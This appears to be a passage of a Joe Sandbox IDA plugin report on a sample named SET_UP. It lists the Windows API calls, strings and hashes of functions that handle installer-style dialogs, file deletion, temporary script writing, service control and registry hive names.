Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseFileHandle$CreateSize
String ID: .part
API String ID: 4148174661-3499674018
Opcode ID: cb1e4ccad41931c452a8e391c3be015741b859e615226290a4d2f9461ef6c838
Instruction ID: 5e97166319f7ee8fefde71c3e0860500959f61b2c114f95e96b5064087245568
Opcode Fuzzy Hash: cb1e4ccad41931c452a8e391c3be015741b859e615226290a4d2f9461ef6c838
Instruction Fuzzy Hash: C741C030A45254EBDB24CFA8CD49BEEBBB4EB05724F204259F919B72D1CBB41A44CBD1

Function 000DCBD0 Relevance: 15.2, APIs: 10, Instructions: 215windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000406,00000000,?), ref: 000DCC24
SetWindowTextW.USER32(00000000,?), ref: 000DCC95
SetWindowTextW.USER32(00000000,00000001), ref: 000DCD20
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 000DCC32

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

SetWindowTextW.USER32(00000000,?), ref: 000DCCFC

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: TextWindow$MessageSend$HeapProcess
String ID:
API String ID: 4218064316-0
Opcode ID: 428be42bd775544da45ef2d667791334628986aa8f2a4018335582bde1e67f65
Instruction ID: 443b654cc8ef8c3195cd2ad52e778a482b7a5b83ed9dace31d1dcff6faf0819c
Opcode Fuzzy Hash: 428be42bd775544da45ef2d667791334628986aa8f2a4018335582bde1e67f65
Instruction Fuzzy Hash: 4F71C571900A06BFDB15DF28CC05F99BBA5FF45320F14C22AF92997AA1D731E961CB90

Function 000F51A0 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000F51B6

Part of subcall function 000F550A: HeapFree.KERNEL32(00000000,00000000,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?), ref: 000F5520
Part of subcall function 000F550A: GetLastError.KERNEL32(?,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?,?), ref: 000F5532

_free.LIBCMT ref: 000F51C2
_free.LIBCMT ref: 000F51CD
_free.LIBCMT ref: 000F51D8
_free.LIBCMT ref: 000F51E3
_free.LIBCMT ref: 000F51EE
_free.LIBCMT ref: 000F51F9
_free.LIBCMT ref: 000F5204
_free.LIBCMT ref: 000F520F
_free.LIBCMT ref: 000F521D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0aaa0443f3acd1e31bd18ab97ab69f95285bfbd06037a61acb0c6941effb05ef
Instruction ID: c346361db54ba373d9f160363b95c181510fe882e0387dc9e768e369fec8165e
Opcode Fuzzy Hash: 0aaa0443f3acd1e31bd18ab97ab69f95285bfbd06037a61acb0c6941effb05ef
Instruction Fuzzy Hash: 0621C47690050DAFCB01EF94C8A1DEE7BB9EF08741B0085A6F7059B562DB31EA459B80

Function 000AE5F0 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 374fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(0CE81EE3,0CE81EE3,?,0CE81EE3), ref: 000AE740
GetLastError.KERNEL32( LastError: ,0000000C,Failed to delete file: ,00000017), ref: 000AE7E8
RemoveDirectoryW.KERNEL32(?,0CE81EE3,?,0CE81EE3), ref: 000AE8F9

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

GetLastError.KERNEL32( LastError: ,0000000C,Failed to delete folder: ), ref: 000AE99B

Strings

LastError: , xrefs: 000AE7DB, 000AE98E
Failed to delete folder: , xrefs: 000AE951
DoErase started., xrefs: 000AE663
Failed to delete file: , xrefs: 000AE79A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalCurrentErrorLastProcessSection$DeleteDirectoryEnterFileHeapInitializeRemoveThread
String ID: LastError: $DoErase started.$Failed to delete file: $Failed to delete folder:
API String ID: 2769229323-2252587364
Opcode ID: b77195bb272c7e5975f5c8617fc0cbce89925ce7af308e6edab69e152c0cd966
Instruction ID: 45898a0885c1aa15a3435da2a2239bf67da47c61522b12f73938168e2391390c
Opcode Fuzzy Hash: b77195bb272c7e5975f5c8617fc0cbce89925ce7af308e6edab69e152c0cd966
Instruction Fuzzy Hash: E8D1CF31A00646CFDB24EFA8C845FAEB7F1BF56310F148658E5159B2E2EB34E940CB61

Function 000AD610 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 204filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 000BEFA0: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104), ref: 000BEFCA
Part of subcall function 000BEFA0: RegisterWindowMessageW.USER32(?,?), ref: 000BF01E

ShowWindow.USER32(?,00000002,0CE81EE3,?,?,00000000), ref: 000AD65A
ShowWindow.USER32(?,00000001,?,?,00000000,?,?,?,?,?,?,?,?,?,?,000000E0), ref: 000AD664

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

OpenEventW.KERNEL32(00100000,00000000,000000E0,000000E0,00000001,?,00000000), ref: 000AD79A
WaitForSingleObject.KERNEL32(00000000,000000E0), ref: 000AD7B6
CloseHandle.KERNEL32(?), ref: 000AD7C4
UnmapViewOfFile.KERNEL32(?), ref: 000AD7D9
CloseHandle.KERNEL32(00000000), ref: 000AD7F6

Strings

.bat, xrefs: 000AD72B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$CloseFileHandleShow$EventExceptionMessageModuleNameObjectOpenRaiseRegisterSingleUnmapViewWait
String ID: .bat
API String ID: 4248157538-24442780
Opcode ID: 4d6a8701cdd9bef9bdff085a05d418a867f4ebaa873e04b1483338ca148d6cd8
Instruction ID: 495a3d8dfcb10290750facce865c15be073589c40c115579187bd77d14615d45
Opcode Fuzzy Hash: 4d6a8701cdd9bef9bdff085a05d418a867f4ebaa873e04b1483338ca148d6cd8
Instruction Fuzzy Hash: F571C271D00615ABDB15DFA8D844B9EBBF4FF05720F14826AE81AAB692DB749D00CBD0

Function 0008EFA0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 182fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,ps1,ps1), ref: 0008F08D
WriteFile.KERNEL32(00000000,0000FEFF,00000002,?,00000000), ref: 0008F0D1
WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 0008F0EE
CloseHandle.KERNEL32(00000000), ref: 0008F108
CloseHandle.KERNEL32(00000000,?,?,00000000,00000000), ref: 0008F147

Strings

Unable to get temp file , xrefs: 0008F06E
ps1, xrefs: 0008F00C, 0008F01C, 0008F030
Unable to save script file , xrefs: 0008F117

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$CloseHandleWrite$CreateFindHeapProcessResource
String ID: Unable to get temp file $Unable to save script file $ps1
API String ID: 3201387394-4253966538
Opcode ID: 7c9067e58f262d4c59eff1a3a5bda2ec1fe538c373f7ef92f412414498780b55
Instruction ID: 359e81d7a5eb8bc7de19091466df7c91d6f598340d799d7cfaed4f45ad103ab6
Opcode Fuzzy Hash: 7c9067e58f262d4c59eff1a3a5bda2ec1fe538c373f7ef92f412414498780b55
Instruction Fuzzy Hash: 2F51B370A0120AEFDB10DB64CD49BEEBBB8FF05714F148258E504BB2C2DB749A44CBA0

Function 0007CA70 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,0CE81EE3,?,?,?,00000000), ref: 0007CAAE
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 0007CAD1
GetSystemMetrics.USER32(0000000C), ref: 0007CB0C
GetSystemMetrics.USER32(0000000B), ref: 0007CB22
LoadImageW.USER32(?,00000000,00000001,00000000,00000000,?), ref: 0007CB31
FreeLibrary.KERNEL32(00000000), ref: 0007CB4F

Strings

ComCtl32.dll, xrefs: 0007CAA2
LoadIconMetric, xrefs: 0007CACB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: LibraryLoadMetricsSystem$AddressFreeImageProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 1983857168-764666640
Opcode ID: 0526ba27b1d7dbde48d986e6d61a1ce75c968d4b1a702a442773579668fb3b6f
Instruction ID: 3f448e8b8236bcf8de2e6ad5e8b44711eb1f55d25154eb3c9b16bf54d38d5b41
Opcode Fuzzy Hash: 0526ba27b1d7dbde48d986e6d61a1ce75c968d4b1a702a442773579668fb3b6f
Instruction Fuzzy Hash: 8E318171A44259ABEB148F99DD44BAFBFF8EB48350F00412DF915A3280D7B98940CB90

Function 0008D1A0 Relevance: 14.0, APIs: 3, Strings: 6, Instructions: 474COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0008D1F8

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Strings

Handler, xrefs: 0008D3FC
Stoping service, xrefs: 0008D5D8
Unable to set the service status: , xrefs: 0008D4F8, 0008D6BF
Unable to start service , xrefs: 0008D24B
error: , xrefs: 0008D282
, xrefs: 0008D54E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorHeapLastProcess
String ID: $ error: $Handler$Stoping service$Unable to set the service status: $Unable to start service
API String ID: 292351952-2989006652
Opcode ID: ac01f2c17f783a8b4310af2f59bce8be6148d07d014f39feb1a056454946acee
Instruction ID: 18e45c103f27e58a1603d8d87dd24130a5699396b1fef27497551ecc239ea379
Opcode Fuzzy Hash: ac01f2c17f783a8b4310af2f59bce8be6148d07d014f39feb1a056454946acee
Instruction Fuzzy Hash: 1402AE71A006099FDB14EFA8C849B9EBBE4FF44314F148369E4599B2D2EB74DD04CBA1

Function 0009F370 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,00000428), ref: 0009F3F3
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 0009F403
EndDialog.USER32(00000000,00000001), ref: 0009F417

Part of subcall function 0009F890: GetDlgItem.USER32(00000000,00000001), ref: 0009F8C4
Part of subcall function 0009F890: SetWindowTextW.USER32(00000000,00000000), ref: 0009F8E4
Part of subcall function 0009F890: SetWindowTextW.USER32(00000000,00000000), ref: 0009F933
Part of subcall function 0009F890: SetWindowTextW.USER32(00000000,00000000), ref: 0009F9BD

GetDlgItem.USER32(00000000,0000E801), ref: 0009F4C0
ShowWindow.USER32(00000000,00000000,?,?,?,?,0009F361,?,?,?,?,?), ref: 0009F4CE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$ItemText$DialogMessageSendShow
String ID:
API String ID: 1039690743-0
Opcode ID: b31d5853d9f133534ba69d1e84374593502486d76c528a3f1d269d70c23e836e
Instruction ID: 75f61f32bd623fef632170705d88d02f90b175d00b60e715ef43662800854f7f
Opcode Fuzzy Hash: b31d5853d9f133534ba69d1e84374593502486d76c528a3f1d269d70c23e836e
Instruction Fuzzy Hash: 545108726402069BDB28AF18D884BFAB7E4FB44321F508136F141CB591D776E995DBD0

Function 000B4B70 Relevance: 13.6, APIs: 9, Instructions: 138windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000B4BE1
SendMessageW.USER32(?,0000104B,00000000,00000000), ref: 000B4C3D
SendMessageW.USER32(?,0000102C,00000000,0000F000), ref: 000B4C6D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B4CB1
GetParent.USER32(?), ref: 000B4D0F
GetParent.USER32(00000000), ref: 000B4D12
GetParent.USER32(00000000), ref: 000B4D15
ShowWindow.USER32(00000000,00000002,?,C000008C,00000001), ref: 000B4D22
ShowWindow.USER32(00000000,00000001,?,C000008C,00000001), ref: 000B4D27

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$Parent$ShowWindow
String ID:
API String ID: 3764770795-0
Opcode ID: a856476fd05056dcfe0f61a0685f59146ad57ceee095d73112493b9a3fdc1ce5
Instruction ID: 4b0648fa9b99694220a373108af5a13e349753abf3f84779ccaebc8838ab380a
Opcode Fuzzy Hash: a856476fd05056dcfe0f61a0685f59146ad57ceee095d73112493b9a3fdc1ce5
Instruction Fuzzy Hash: 47410131605709AFE7209B24DD44FEABBE6FFC9714F10851EF58897282DBB1E8418B91

Function 000BA100 Relevance: 13.6, APIs: 9, Instructions: 123windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000DCBD0: SendMessageW.USER32(00000000,00000406,00000000,?), ref: 000DCC24
Part of subcall function 000DCBD0: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 000DCC32
Part of subcall function 000DCBD0: SetWindowTextW.USER32(00000000,?), ref: 000DCC95

GetParent.USER32(?), ref: 000BA193
GetParent.USER32(00000000), ref: 000BA196
GetParent.USER32(00000000), ref: 000BA199
GetSystemMenu.USER32(00000000,00000001), ref: 000BA19E
GetParent.USER32(?), ref: 000BA1AA
GetParent.USER32(00000000), ref: 000BA1AD
GetParent.USER32(00000000), ref: 000BA1B0
DrawMenuBar.USER32(00000000), ref: 000BA1B3

Part of subcall function 000BAFA0: GetWindowLongW.USER32(?,000000F0), ref: 000BAFD5
Part of subcall function 000BAFA0: GetParent.USER32(?), ref: 000BAFDF

Part of subcall function 000BAFA0: GetWindow.USER32(?,00000004), ref: 000BAFEA

ShowWindow.USER32(?,?,?,?,?), ref: 000BA1F9

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$Window$MenuMessageSend$DrawLongShowSystemText
String ID:
API String ID: 3072083481-0
Opcode ID: 0bac3d03c3eeae4019b04c6f68dc6149aa331012d809bf602fef3c606da901c7
Instruction ID: 7c853840709dd2870e782fdeea548b1cc04201576759c0406a2ec1f708d325b3
Opcode Fuzzy Hash: 0bac3d03c3eeae4019b04c6f68dc6149aa331012d809bf602fef3c606da901c7
Instruction Fuzzy Hash: 3841AF72B00216AFDB10DB68DC85FDAF7A8FF45320F008666FA1997251DB71AC51CB91

Function 000B67A0 Relevance: 13.6, APIs: 9, Instructions: 122windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 000B680D
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000B681D
OffsetRect.USER32(?,?,?), ref: 000B6833

Part of subcall function 000B7410: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 000B7474
Part of subcall function 000B7410: CreatePatternBrush.GDI32(00000000), ref: 000B7481
Part of subcall function 000B7410: DeleteObject.GDI32(00000000), ref: 000B748A

GetWindowDC.USER32(00000000), ref: 000B6869
SelectObject.GDI32(00000000), ref: 000B687B
PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 000B68A5
SelectObject.GDI32(?,?), ref: 000B68AF
ReleaseDC.USER32(?,?), ref: 000B68C4
DeleteObject.GDI32 ref: 000B68DA

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Object$Window$CreateDeleteRectSelect$BitmapBrushOffsetPatternPointsRelease
String ID:
API String ID: 4269786674-0
Opcode ID: 5085cb7e8dbe61ca3fd3ab4b32a391ef46c6a89dbbdcc04cd62835516fc112ec
Instruction ID: 1723955dc7d08dbaae40c48bb7d7bdc60c6b5d322e0e576edac14b8e16e78459
Opcode Fuzzy Hash: 5085cb7e8dbe61ca3fd3ab4b32a391ef46c6a89dbbdcc04cd62835516fc112ec
Instruction Fuzzy Hash: BF416D75D05208EFDB10DFA8DA49BEEBBB8FF49710F104259F805A3250DB355E448BA1

Function 0008AFF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 327networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

InternetCrackUrlW.WININET(?,00000000,00000000,0000003C), ref: 0008B09A
GetLastError.KERNEL32 ref: 0008B0A7

Strings

d, xrefs: 0008B04B
<, xrefs: 0008B06E
d, xrefs: 0008B060
d, xrefs: 0008B067
dddd, xrefs: 0008B15E, 0008B167

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CrackErrorHeapInternetLastProcess
String ID: <$d$d$d$dddd
API String ID: 303965512-587286806
Opcode ID: 2ee86316083dcd38e421540628d2cbd0dcd5ad043aa0ccc69020282bc9c3653d
Instruction ID: 65f598fdc8c18044cd23529d25b22d3e3e12f1ad4f9530a795f4449ebcefcc6b
Opcode Fuzzy Hash: 2ee86316083dcd38e421540628d2cbd0dcd5ad043aa0ccc69020282bc9c3653d
Instruction Fuzzy Hash: 39D16E30D0164ADBDB00DFA8C849BAEFBF5FF55314F148269E414AB2A2EB749D44CB91

Function 000AA840 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 305COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetSystemDefaultLangID.KERNEL32 ref: 000AA931

Strings

Segoe UI Semibold, xrefs: 000AA954, 000AA97B
\par, xrefs: 000AAA6C, 000AAA7A, 000AAAFA
{\rtf1\ansi\ansicpg%u\deff0{\fonttbl{\f0\fswiss\fcharset1 %s;}{\f1\fnil\fcharset2 Symbol;}{\f2\fnil\fcharset3 %s;}}{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard\li144\lang%u\f0\fs20 , xrefs: 000AA98F
<a href="%s">%s</a>, xrefs: 000AA8D5
Segoe UI, xrefs: 000AA94F, 000AA981
<b>%s</b>, xrefs: 000AA9BB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: DefaultHeapLangProcessSystem
String ID: <a href="%s">%s</a>$<b>%s</b>$Segoe UI$Segoe UI Semibold$\par${\rtf1\ansi\ansicpg%u\deff0{\fonttbl{\f0\fswiss\fcharset1 %s;}{\f1\fnil\fcharset2 Symbol;}{\f2\fnil\fcharset3 %s;}}{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard\li144\lang%u\f0\fs20
API String ID: 3359064702-3049917530
Opcode ID: 5ac917f4bbea66259180f78181a7b948975e58779d2d4efe545364327bd8834e
Instruction ID: 3b306abd60b257faaf2ff139e31e6127056051e6dbaf59eed01cf0a4e0a37842
Opcode Fuzzy Hash: 5ac917f4bbea66259180f78181a7b948975e58779d2d4efe545364327bd8834e
Instruction Fuzzy Hash: 1CB16D31A006499FDB00DBA8C849B9EF7F9AF55324F14C2A9E415EB293DB74DD04CBA1

Function 000DF8B0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 297COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 000DF8FD

Strings

HKUD, xrefs: 000DFA7B
HKCU, xrefs: 000DF97A
HKCR, xrefs: 000DFA3D
HKLM, xrefs: 000DF934
HKCC, xrefs: 000DF9FC
HKU, xrefs: 000DF9BB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _wcschr
String ID: HKCC$HKCR$HKCU$HKLM$HKU$HKUD
API String ID: 2691759472-2836228076
Opcode ID: c12b019fda70429c227eb68d9a49c76a912826732c3ca79c8e61ca7aa1251b10
Instruction ID: 234ac87a6c60df4b83cd3ced259b6bddaefee3a49524200988f18695a48a7ac4
